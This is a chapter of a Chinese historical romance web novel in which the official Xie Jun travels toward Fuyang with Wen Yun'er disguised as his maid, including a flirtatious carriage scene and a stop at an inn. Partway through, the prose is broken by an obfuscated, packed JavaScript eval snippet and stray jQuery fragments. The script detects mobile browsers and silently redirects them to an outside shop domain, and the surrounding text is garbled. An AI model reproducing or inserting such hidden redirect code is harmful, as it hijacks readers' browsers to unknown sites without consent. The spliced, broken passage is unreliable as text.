听着屋外若有若无的蝉鸣声。
庆元帝缓声道:“入夏了,朕记得,谢家大郎和老公爷的忌日也快到了。”
低着头看着谢隽问道:“你家二叔一家也在富阳?”
不等谢隽开口,就又说道:“今年,你就亲自跑一趟富阳将你二叔一家接过来,谢家满门忠烈,忌日之时,你二叔一家怎能不在。”
话音甫落,谢隽作揖双手,随即应是。
圣上这是给自己一个所应当,不会叫人起疑的理由去富阳。
谢隽问道:“不知陛下,要臣何时启程?”
庆元帝踱步到谢隽跟前,看着谢隽,眼里满是欣赏与喜爱。
他子嗣稀薄,三皇子不得他心,甚至让他有些厌恶,其余皇子最大的还不足十岁,也没一个得他心。
也没一个如谢隽这般,都不如他。
他也时常在想,谢隽要是他的儿子就好了,或者他有一个如谢隽这般的儿子。
庆元帝亲自将他扶了起来,然后道:“越快越好,不如就明日一早出发。”
***
去富阳一事就这样定在了次日一早。
谢隽回国公府就开始准备了,这一趟,既不能太引人注目,又不能太小心心翼翼。
他的身边常跟的只有临夏和临池两人。
思来想去,他将目光落在了温蕴儿身上。
直到温蕴儿上了马车都不敢相信,这人竟然带着一起去富阳,还让自己扮作他的贴身丫鬟?
温蕴儿是次日一早上了马车,才知道自己跟着他去富阳,去他二叔家。
她很是不解,一连几日的折腾,终于睡个安稳觉的自己,正在美梦中就被拉起来,让她有了些起床气,“你去富阳为何将我带上?”
谢隽一本正经的回答:“此去富阳明里是去我二叔家,暗里是要替圣上办事。”
温蕴儿一听更是不解,皱着眉头。鼓着腮:“那就与我更无关系,我去干嘛?”
谢隽摇摇头,看有些起床气而气鼓鼓的小脸,他伸出手捏了捏,道:“你不是会武吗,我缺一个保护我的女使,不知温姑娘能否赏脸。”
话音一落,温蕴儿轻哼一声:“要看看你开的什么条件,才能让本姑娘赏脸与否。”
谢隽凑近她,唇瓣贴着她耳边敏感处,滚烫的气息喷洒她的耳边,看着她瞬间变红的耳边,轻笑着:“我给温姑娘暖床可好?”
他话一出口,温蕴儿白皙的小脸上布满了红晕。
她瞪着着瞧他,一双美目因着羞恼而显得艳丽,本就艳丽的容貌,整个人平添几分媚色。
媚眼如丝。
“谢大人真是脸都不要了。”
谢隽闻言,抵在她耳边低低地笑着,“能给温姑娘暖床,是谢某的荣幸。”
敏感的耳边传来低沉的笑声,伴随着暧昧的气息,这要命的语气,让温蕴儿身子抑制不住的颤抖。
“你、离我远些。”
温蕴儿垂着颤动的睫毛,颤着声从喉咙深处挤出这几个字。
谢隽离开她耳边一点,用两根手指轻捻着她的下巴,让她看向自己。
将唇瓣挨着她的唇边,一下一下左右轻捻着她的唇边。
“温姑娘这是答应了谢某,那谢某就多谢温姑娘垂怜。”
温蕴儿要被他这幅无耻的模样折磨死了,纤细的柔夷被他把玩在手里。
唇畔边的话语,没说出一个字就轻碰着自己的唇瓣。
她从前竟不知这男人私底下竟如此、如此有些不要脸了。
温蕴儿欲哭无泪,最后在他怀里衣衫不整,发丝微乱,眼尾泛着一抹胭红,目光朦胧地看着马车的上方。
“狗男人。”
她侧目看了一眼谢隽,他整个人倒是气宇轩昂,坐的十分正派,自己被他在马车上换了衣服丫鬟的服饰。
还被他吃抹一番,衣衫不整的,倒像是主动投怀送抱主子,心思不正的小丫鬟。
温蕴儿打了个哈欠,实在是太累太困了。
“困了就睡吧。”谢隽看着怀里温蕴儿,手指轻轻拨开散落在她脸颊的发丝,温柔的说道。
马车很是豪华,温蕴儿翻了个身,靠在谢隽沉沉睡去。
到了下午,出了上京,马车在一路向南行驶着,温蕴儿醒了有一会儿。
她掀开马车的帐纱,说起来,富阳与她的家乡江南一带,在一个方向。
富阳与江南绿城也在紧挨着。
外面的景色也和她来时有些不同,她来时赶的急,还都是夜路,现在看着外面的景色。
甚是新鲜。
出了城,行至在路上,穿过了密林,经过了山脚,距离下一个城关,还有段一距离。
赶在太阳落山前,一行人准备找了个客栈歇息,谢隽便命人在此休息歇息。
谢隽先下了马车,撩开帘子,伸出胳膊,垫着温蕴儿的玉手,等她下来。
温蕴儿一下车,看着谢隽瞧着自己,笑的有些意味深长,她有些好奇。
她跟着谢隽视线看过去,好巧不巧,正好是当初他们相遇的那个客栈。
谢隽低声说道:“认出来了?”
温蕴儿点了点头,这里给她的印象确实有些深刻。
毕竟当初刚逃出来,就因为谢隽碰到了追杀。
因着是主仆关系,二人紧挨着一前一后的进了客栈。
刚跨进门槛,就引起了柜台旁小二惊讶的目光。
眼睛不眨的跟着他们的脚步走着,走到他面前都没过来迎。
还是旁边的掌柜的从后面进来,拿着算盘敲了一下小二,“人都到你跟前了,还愣着干嘛。”
小二的这才反应过来,从柜台处走出来,到谢隽面前,“贵人是要打尖还是住店。”
谢隽开口回道:“住店。”
小二瞧了一眼还有些在外面一起的人,道:“二楼现在现在整个空着,能住二十几人,一楼也还余五间,能住十人。贵人要几间?”
谢隽点了点头,随着临夏吩咐道:“让他们都进来吧,”随着小二说道,“都要了,再来点热水。”
话落,临夏便出去吩咐,外面的十几个随从将东西也陆陆续续的抬进来了,大包小裹,箱匣无数,当得起一小二的声贵人。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14028377|145690||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
/p>
且不说谢隽本人,一身秀着金线打底,墨色长袍,头戴玄金冠、白玉簪,腰间佩饰的玉佩,远远瞧着便知不是凡物,整个一清隽秀和气质的贵公子。
身后跟着那婢女,虽穿着翠绿的女使服饰,那窈窕身姿,都难掩姿容,都是小二这辈子都没见过,如此绝色艳丽的佳人,他以为仙女下凡也不过如此。
小二的还沉浸在对于二人容貌的震惊中,直到算完账,谢隽等人上楼,他还在瞧着。
他要是这辈子能娶到这样的美娇娘该有多好啊。
掌柜的看着小二那样子,拿起算盘又是一下,“再瞧你这辈子也娶不上,名花有主了人家。”
小二震惊,“你、你怎么能这么讲,人家好好一清白姑娘,掌柜的你怎么这么讲。”
掌柜的撇嘴,“没看到那公子哥,身边只有这一个女使,而且还挨得那么近,两人那走路都腻乎着那劲。”
又看着小二,从上到下到了一遍,啧了一声道:“你与那公子相比,你有可比性吗?”
话落,举起算盘朝着他又是一下,“没听到贵人要热水,还不快烧好送去。”
上楼的谢隽和温蕴儿自然而然地住了一间,既是贴身女使,当然要贴身伺候了。
这是谢隽对温蕴儿说的,温蕴儿对这个理由嗤之以鼻。
分明是谢隽他自己相同自己做些什么,还非要义正严辞的给自己找个理由。
温蕴儿摇摇头,也不等他,自己便先进了房间,去到床榻上躺着。
马车在舒服,坐了一天,身子骨也是绷着的,这会躺在床榻上,才觉得有些放松。
谢隽看着她此时没了规矩的束缚,摊在床上的模样,觉得有些好笑。
当初她可是自己架着马车,躲着追杀,将自己带进上京内。
他也走进床榻,躺在她身旁,“接下来是水路,你应当会好受许多。”
出了上京,要想往富阳方向去,除了要走一段土路,接下来的便都是水路了。
温蕴儿点点头,她来的时候也是如此。
谢隽转了下身子,侧卧着朝着温蕴儿,手刚搭在上她的腰间。
“叩,叩,叩,”门口传来敲门声。
温蕴儿赶紧起身,整理了一下衣饰,就去了门口,推开门,看着小二。
小二一看见她,脸瞬间就红了,说话也有些结巴,“我、我来送、送热水。”
温蕴儿点点头,看了一眼他提着的热水,“放这儿吧。”
小二还以为她要自己提进去,忙摇摇头,提起热水就要进去:“太沉了,还是我来吧,你歇一会儿。”
温蕴儿拉住他胳膊,想让他放下,正想拒绝,想着床榻上两人躺过的痕迹,不想让人知晓二人的关系,便想着让小二将热水放门口就行,等会让谢隽提进来就是。
谁知谢隽听见了二人的对话,也走到了门口,一只手搂在她的腰间,一只手将她拉着小二胳膊的手挥下,挑眉看着小二,“是送热水的吗,你先放这就是。”
那小二看着谢隽的手放在温蕴儿腰间,悬着的心终于死心了,将热水放下,就跑着下楼了。